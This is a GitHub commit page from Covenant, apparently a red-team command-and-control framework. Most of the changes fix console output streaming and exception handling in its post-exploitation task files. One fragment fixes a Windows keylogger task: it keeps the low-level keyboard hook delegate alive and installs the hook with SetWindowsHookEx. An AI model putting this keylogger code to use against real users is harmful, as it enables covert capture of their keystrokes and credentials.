Skip to content

Commit

Permalink
Fix streaming output to capture output after Delay time elapsed, Fix …
Browse files Browse the repository at this point in the history
…streaming output does not capture exceptions issue, Fix Keylogger task Delegate gets garbage collected, Updated streaming tasks to autoflush the console
  • Loading branch information
cobbr committed Sep 6, 2020
1 parent 490096f commit 7555b19
Show file tree
Hide file tree
Showing 7 changed files with 153 additions and 54 deletions.
3 changes: 3 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,13 +12,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Disallow Administrators from changing other user's passwords
- Restrict non-admin users from visiting other user's profile in UI
- Updated ShellCode task to use file upload of raw binary
- Updated streaming tasks to autoflush the console

### Fixed
- Fix edit roles for CovenantUser UI bug
- Fix profile bug when HttpGetResponse differs from HttpPostResponse
- Fix TaskKill display bug
- Fix token impersonation issues
- Fix streaming output to capture output after Delay time elapsed
- Fix streaming output does not capture exceptions issue
- Fix Keylogger task Delegate gets garbage collected

## [v0.6] - 2020-08-04
### Added
Expand Down
9 changes: 8 additions & 1 deletion Covenant/Data/Tasks/DefaultGruntTasks.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -433,7 +433,14 @@
OutputStream.Close();
return "";
}
catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
}
}
TaskingType: Assembly
Expand Down
9 changes: 8 additions & 1 deletion Covenant/Data/Tasks/DotNetCore.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -1511,7 +1511,14 @@
OutputStream.Close();
return "";
}
catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
}
}
TaskingType: Assembly
Expand Down
108 changes: 78 additions & 30 deletions Covenant/Data/Tasks/GhostPack.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -21,13 +21,14 @@
public static Stream OutputStream { get; set; }
public static string Execute(string Command)
{
string output = "";
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand Down Expand Up @@ -67,9 +68,16 @@
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
return output;
}
}
TaskingType: Assembly
Expand Down Expand Up @@ -174,13 +182,14 @@
public static Stream OutputStream { get; set; }
public static string Execute(string Command = "")
{
string output = "";
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand Down Expand Up @@ -210,9 +219,16 @@
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
return output;
}
}
TaskingType: Assembly
Expand Down Expand Up @@ -303,13 +319,14 @@
public static Stream OutputStream { get; set; }
public static string Execute(string Command = "")
{
string output = "";
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand All @@ -331,9 +348,16 @@
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
return output;
}
}
TaskingType: Assembly
Expand Down Expand Up @@ -420,13 +444,14 @@
public static Stream OutputStream { get; set; }
public static string Execute(string ProcessID = "")
{
string output = "";
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand Down Expand Up @@ -470,9 +495,16 @@
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
return output;
}
}
TaskingType: Assembly
Expand Down Expand Up @@ -541,13 +573,14 @@
public static Stream OutputStream { get; set; }
public static string Execute(string Command = "")
{
string output = "";
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand All @@ -560,9 +593,16 @@
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
return output;
}
}
TaskingType: Assembly
Expand Down Expand Up @@ -777,13 +817,14 @@
public static Stream OutputStream { get; set; }
public static string Execute(string Command = "")
{
string output = "";
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand All @@ -796,9 +837,16 @@
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
return output;
}
}
TaskingType: Assembly
Expand Down
18 changes: 13 additions & 5 deletions Covenant/Data/Tasks/SharpSC.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -22,13 +22,14 @@
public static Stream OutputStream { get; set; }
public static string Execute(string Command = "")
{
string output = "";
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand All @@ -41,9 +42,16 @@
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
return output;
}
}
TaskingType: Assembly
Expand Down
22 changes: 17 additions & 5 deletions Covenant/Data/Tasks/SharpSploit.Enumeration.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -788,8 +788,10 @@
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StreamWriter(OutputStream);
TextWriter stdErrWriter = new StreamWriter(OutputStream);
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
Expand All @@ -805,7 +807,14 @@
return "";
}
catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; }
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
}
}
Expand All @@ -814,6 +823,7 @@
/// </summary>
public class Keylogger
{
private static HookProc hookproc;
/// <summary>
/// Starts the Keylogger
/// </summary>
Expand All @@ -826,7 +836,7 @@
IntPtr HookID = IntPtr.Zero;
string PreviousActiveWindow = "";
HookProc hookproc = (nCode, wParam, lParam) =>
hookproc = (nCode, wParam, lParam) =>
{
try
{
Expand Down Expand Up @@ -859,7 +869,9 @@
}
Console.Out.Flush();
}
catch (Exception e) { }
catch (Exception e) {
Console.Error.WriteLine("Keylogger HookProc exception - " + e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace);
}
return CallNextHookEx(HookID, nCode, wParam, lParam);
};
HookID = SetWindowsHookEx(WH_KEYBOARD_LL, hookproc, GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
Expand Down
Loading

0 comments on commit 7555b19

Please sign in to comment.